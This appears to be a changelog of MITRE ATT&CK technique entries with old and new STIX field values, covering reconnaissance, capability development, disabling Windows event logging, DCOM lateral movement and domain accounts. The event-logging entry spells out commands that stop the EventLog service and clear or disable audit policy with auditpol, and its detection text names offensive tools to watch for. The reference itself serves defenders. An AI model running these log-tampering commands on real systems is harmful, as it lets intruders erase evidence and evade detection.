| description | Before compromising a victim, adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may build capabili | t | 1 | Adversaries may build capabilities that can be used during t |
| > | ties that can be used during targeting. Rather than purchasi | > | argeting. Rather than purchasing, freely downloading, or ste | ||
| > | ng, freely downloading, or stealing capabilities, adversarie | > | aling capabilities, adversaries may develop their own capabi | ||
| > | s may develop their own capabilities in-house. This is the p | > | lities in-house. This is the process of identifying developm | ||
| > | rocess of identifying development requirements and building | > | ent requirements and building solutions such as malware, exp | ||
| > | solutions such as malware, exploits, and self-signed certifi | > | loits, and self-signed certificates. Adversaries may develop | ||
| > | cates. Adversaries may develop capabilities to support their | > | capabilities to support their operations throughout numerou | ||
| > | operations throughout numerous phases of the adversary life | > | s phases of the adversary lifecycle.(Citation: Mandiant APT1 | ||
| > | cycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)( | > | )(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPi | ||
| > | Citation: Bitdefender StrongPity June 2020)(Citation: Talos | > | ty June 2020)(Citation: Talos Promethium June 2020) As with | ||
| > | Promethium June 2020) As with legitimate development effort | > | legitimate development efforts, different skill sets may be | ||
| > | s, different skill sets may be required for developing capab | > | required for developing capabilities. The skills needed may | ||
| > | ilities. The skills needed may be located in-house, or may n | > | be located in-house, or may need to be contracted out. Use | ||
| > | eed to be contracted out. Use of a contractor may be conside | > | of a contractor may be considered an extension of that adver | ||
| > | red an extension of that adversary's development capabilitie | > | sary's development capabilities, provided the adversary play | ||
| > | s, provided the adversary plays a role in shaping requiremen | > | s a role in shaping requirements and maintains a degree of e | ||
| > | ts and maintains a degree of exclusivity to the capability. | > | xclusivity to the capability. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Content', 'Internet Scan: Response Content', 'Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.552000+00:00 | 2021-10-17 16:07:08.768000+00:00 |
| description | Before compromising a victim, adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. | Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable Windows event logging to limit data | t | 1 | Adversaries may disable Windows event logging to limit data |
| > | that can be leveraged for detections and audits. Windows eve | > | that can be leveraged for detections and audits. Windows eve | ||
| > | nt logs record user and system activity such as login attemp | > | nt logs record user and system activity such as login attemp | ||
| > | ts, process creation, and much more.(Citation: Windows Log E | > | ts, process creation, and much more.(Citation: Windows Log E | ||
| > | vents) This data is used by security tools and analysts to g | > | vents) This data is used by security tools and analysts to g | ||
| > | enerate detections. Adversaries may targeting system-wide l | > | enerate detections. The EventLog service maintains event lo | ||
| > | ogging or just that of a particular application. By disablin | > | gs from various system components and applications.(Citation | ||
| > | g Windows event logging, adversaries can operate while leavi | > | : EventLog_Core_Technologies) By default, the service automa | ||
| > | ng less evidence of a compromise behind. | > | tically starts when a system powers on. An audit policy, mai | ||
| > | ntained by the Local Security Policy (secpol.msc), defines w | ||||
| > | hich system events the EventLog service logs. Security audit | ||||
| > | policy settings can be changed by running secpol.msc, then | ||||
| > | navigating to <code>Security Settings\Local Policies\Audit P | ||||
| > | olicy</code> for basic audit policy settings or <code>Securi | ||||
| > | ty Settings\Advanced Audit Policy Configuration</code> for a | ||||
| > | dvanced audit policy settings.(Citation: Audit_Policy_Micros | ||||
| > | oft)(Citation: Advanced_sec_audit_policy_settings) <code>aud | ||||
| > | itpol.exe</code> may also be used to set audit policies.(Cit | ||||
| > | ation: auditpol) Adversaries may target system-wide logging | ||||
| > | or just that of a particular application. For example, the | ||||
| > | EventLog service may be disabled using the following PowerSh | ||||
| > | ell line: <code>Stop-Service -Name EventLog</code>.(Citation | ||||
| > | : Disable_Win_Event_Logging) Additionally, adversaries may u | ||||
| > | se <code>auditpol</code> and its sub-commands in a command p | ||||
| > | rompt to disable auditing or clear the audit policy. To enab | ||||
| > | le or disable a specified setting or audit category, adversa | ||||
| > | ries may use the <code>/success</code> or <code>/failure</co | ||||
| > | de> parameters. For example, <code>auditpol /set /category:” | ||||
| > | Account Logon” /success:disable /failure:disable</code> turn | ||||
| > | s off auditing for the Account Logon category.(Citation: aud | ||||
| > | itpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clea | ||||
| > | r the audit policy, adversaries may run the following lines: | ||||
| > | <code>auditpol /clear /y</code> or <code>auditpol /remove / | ||||
| > | allusers</code>.(Citation: T1562.002_redcanaryco) By disabl | ||||
| > | ing Windows event logging, adversaries can operate while lea | ||||
| > | ving less evidence of a compromise behind. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 22:02:33.870000+00:00 | 2021-10-19 13:37:30.534000+00:00 |
| description | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)
Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)
By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. |
| x_mitre_data_sources[0] | Process monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| x_mitre_detection | Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious. | Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'EventLog_Core_Technologies', 'description': 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 'url': 'https://www.coretechnologies.com/blog/windows-services/eventlog/'} | |
| external_references | {'source_name': 'Audit_Policy_Microsoft', 'description': 'Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'} | |
| external_references | {'source_name': 'Advanced_sec_audit_policy_settings', 'description': 'Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'} | |
| external_references | {'source_name': 'auditpol', 'description': 'Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'} | |
| external_references | {'source_name': 'Disable_Win_Event_Logging', 'description': ' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', 'url': 'https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'} | |
| external_references | {'source_name': 'auditpol.exe_STRONTIC', 'description': 'STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', 'url': 'https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'} | |
| external_references | {'source_name': 'T1562.002_redcanaryco', 'description': 'redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'} | |
| external_references | {'source_name': 'def_ev_win_event_logging', 'description': 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', 'url': 'https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'} | |
| external_references | {'source_name': 'evt_log_tampering', 'description': 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', 'url': 'https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c'} | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 20:02:24.426000+00:00 | 2021-03-08 10:33:02.146000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Disable |
| x_mitre_data_sources[1] | GCP audit logs | Firewall: Firewall Rule Modification |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote machines by taki | > | g/techniques/T1078) to interact with remote machines by taki | ||
| > | ng advantage of Distributed Component Object Model (DCOM). T | > | ng advantage of Distributed Component Object Model (DCOM). T | ||
| > | he adversary may then perform actions as the logged-on user. | > | he adversary may then perform actions as the logged-on user. | ||
| > | The Windows Component Object Model (COM) is a component of | > | The Windows Component Object Model (COM) is a component of | ||
| > | the native Windows application programming interface (API) | > | the native Windows application programming interface (API) | ||
| > | that enables interaction between software objects, or execut | > | that enables interaction between software objects, or execut | ||
| > | able code that implements one or more interfaces. Through CO | > | able code that implements one or more interfaces. Through CO | ||
| > | M, a client object can call methods of server objects, which | > | M, a client object can call methods of server objects, which | ||
| > | are typically Dynamic Link Libraries (DLL) or executables ( | > | are typically Dynamic Link Libraries (DLL) or executables ( | ||
| > | EXE). Distributed COM (DCOM) is transparent middleware that | > | EXE). Distributed COM (DCOM) is transparent middleware that | ||
| > | extends the functionality of COM beyond a local computer usi | > | extends the functionality of COM beyond a local computer usi | ||
| > | ng remote procedure call (RPC) technology.(Citation: Fireeye | > | ng remote procedure call (RPC) technology.(Citation: Fireeye | ||
| > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | ||
| > | s to interact with local and remote server COM objects are s | > | s to interact with local and remote server COM objects are s | ||
| > | pecified by access control lists (ACL) in the Registry.(Cita | > | pecified by access control lists (ACL) in the Registry.(Cita | ||
| > | tion: Microsoft Process Wide Com Keys) By default, only Admi | > | tion: Microsoft Process Wide Com Keys) By default, only Admi | ||
| > | nistrators may remotely activate and launch COM objects thro | > | nistrators may remotely activate and launch COM objects thro | ||
| > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | ||
| > | aries operating in the context of an appropriately privilege | > | aries operating in the context of an appropriately privilege | ||
| > | d user can remotely obtain arbitrary and even direct shellco | > | d user can remotely obtain arbitrary and even direct shellco | ||
| > | de execution through Office applications(Citation: Enigma Ou | > | de execution through Office applications(Citation: Enigma Ou | ||
| > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | ||
| > | ws objects that contain insecure methods.(Citation: Enigma M | > | ws objects that contain insecure methods.(Citation: Enigma M | ||
| > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | ||
| > | n 2017) DCOM can also execute macros in existing documents(C | > | n 2017) DCOM can also execute macros in existing documents(C | ||
| > | itation: Enigma Excel DCOM Sept 2017) and may also invoke Dy | > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | ||
| > | namic Data Exchange (DDE) execution directly through a COM c | > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | ||
| > | reated instance of a Microsoft Office application(Citation: | > | 559/002) (DDE) execution directly through a COM created inst | ||
| > | Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing t | > | ance of a Microsoft Office application(Citation: Cyberreason | ||
| > | he need for a malicious document. | > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | ||
| > | a malicious document. DCOM can be used as a method of remot | ||||
| > | ely interacting with [Windows Management Instrumentation](ht | ||||
| > | tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM | ||||
| > | I) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:21:03.684000+00:00 | 2021-06-23 18:58:32.752000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI) |
| x_mitre_data_sources[0] | Windows event logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
| x_mitre_detection | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic. | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | PowerShell logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of a domain acc | t | 1 | Adversaries may obtain and abuse credentials of a domain acc |
| > | ount as a means of gaining Initial Access, Persistence, Priv | > | ount as a means of gaining Initial Access, Persistence, Priv | ||
| > | ilege Escalation, or Defense Evasion. (Citation: TechNet Cre | > | ilege Escalation, or Defense Evasion.(Citation: TechNet Cred | ||
| > | dential Theft) Domain accounts are those managed by Active D | > | ential Theft) Domain accounts are those managed by Active Di | ||
| > | irectory Domain Services where access and permissions are co | > | rectory Domain Services where access and permissions are con | ||
| > | nfigured across systems and services that are part of that d | > | figured across systems and services that are part of that do | ||
| > | omain. Domain accounts can cover users, administrators, and | > | main. Domain accounts can cover users, administrators, and s | ||
| > | services.(Citation: Microsoft AD Accounts) Adversaries may | > | ervices.(Citation: Microsoft AD Accounts) Adversaries may c | ||
| > | compromise domain accounts, some with a high level of privil | > | ompromise domain accounts, some with a high level of privile | ||
| > | eges, through various means such as [OS Credential Dumping]( | > | ges, through various means such as [OS Credential Dumping](h | ||
| > | https://attack.mitre.org/techniques/T1003) or password reuse | > | ttps://attack.mitre.org/techniques/T1003) or password reuse, | ||
| > | , allowing access to privileged resources of the domain. | > | allowing access to privileged resources of the domain. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-560 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:42:11.787000+00:00 | 2022-04-19 20:14:34.479000+00:00 |
| description | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. |
| external_references[1]['source_name'] | capec | TechNet Credential Theft |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/560.html | https://technet.microsoft.com/en-us/library/dn535501.aspx |
| external_references[2]['source_name'] | TechNet Credential Theft | TechNet Audit Policy |
| external_references[2]['description'] | Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/dn535501.aspx | https://technet.microsoft.com/en-us/library/dn487457.aspx |
| external_references[4]['source_name'] | TechNet Audit Policy | Ubuntu SSSD Docs |
| external_references[4]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. |
| external_references[4]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://ubuntu.com/server/docs/service-sssd |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Process monitoring | User Account: User Account Authentication |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine 